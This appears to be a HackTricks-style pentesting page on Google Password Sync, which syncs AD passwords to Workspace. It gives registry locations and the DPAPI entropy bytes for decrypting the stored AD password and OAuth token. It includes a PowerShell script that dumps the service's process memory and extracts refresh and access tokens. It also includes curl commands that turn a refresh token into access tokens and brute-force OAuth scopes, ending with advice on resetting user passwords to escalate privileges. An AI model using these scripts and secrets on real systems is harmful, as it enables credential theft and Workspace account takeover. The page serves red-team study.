# GPS - Google Password Sync

{{#include ../../../banners/hacktricks-training.md}}

## Basic Information

This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.

It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).

### GPS - Configuration

To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:

- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
  - Only available in Domain Controllers with GUI
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
  - Very bad idea as those credentials never expired and could be misused
  - Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
  - Google require it for domain controlled without GUI
  - These creds are also stored in the registry

Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.

### GPS - Dumping password and token from disk

> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.

In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.

In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.

The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`

The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.

The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>

Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).

In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.

### GPS - Dumping tokens from memory

Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
I guess you could also find the AD configured credentials.

<details>

<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>

```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
    "ya29\.[a-zA-Z0-9_\.\-]{50,}",
    "1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
    New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
    Write-Output "Dumping process with PID: $processId"
    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
    $dumpFile = $_.FullName
    $baseName = $_.BaseName
    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

    Write-Output "Extracting strings from $dumpFile"
    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
    & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

    $outputFiles = @($asciiStringsFile, $unicodeStringsFile)

    foreach ($file in $outputFiles) {
        foreach ($regex in $tokenRegexes) {

            $matches = Select-String -Path $file -Pattern $regex -AllMatches

            $uniqueMatches = @{}

            foreach ($matchInfo in $matches) {
                foreach ($match in $matchInfo.Matches) {
                    $matchValue = $match.Value
                    if (-not $uniqueMatches.ContainsKey($matchValue)) {
                        $uniqueMatches[$matchValue] = @{
                            LineNumber = $matchInfo.LineNumber
                            LineText   = $matchInfo.Line.Trim()
                            FilePath   = $matchInfo.Path
                        }
                    }
                }
            }

            foreach ($matchValue in $uniqueMatches.Keys) {
                $info = $uniqueMatches[$matchValue]
                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
            }
        }

        Write-Output ""
    }
}
```

</details>

### GPS - Generating access tokens from refresh tokens

Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:

```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
     --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
     https://www.googleapis.com/oauth2/v4/token
```

### GPS - Scopes

> [!NOTE]
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
>
> Also, the refresh token is not valid in every application.

By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:

<details>

<summary>Bash script to brute-force scopes</summary>

```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
    echo -ne "Testing $scope           \r"
    if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
     --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
        echo ""
        echo $scope
        echo $scope >> /tmp/valid_scopes.txt
    fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```

</details>

And this is the output I got at the time of the writing:

```
https://www.googleapis.com/auth/admin.directory.user
```

Which is the same one you get if you don't indicate any scope.

> [!CAUTION]
> With this scope you could **modify the password of a existing user to escalate privileges**.

{{#include ../../../banners/hacktricks-training.md}}



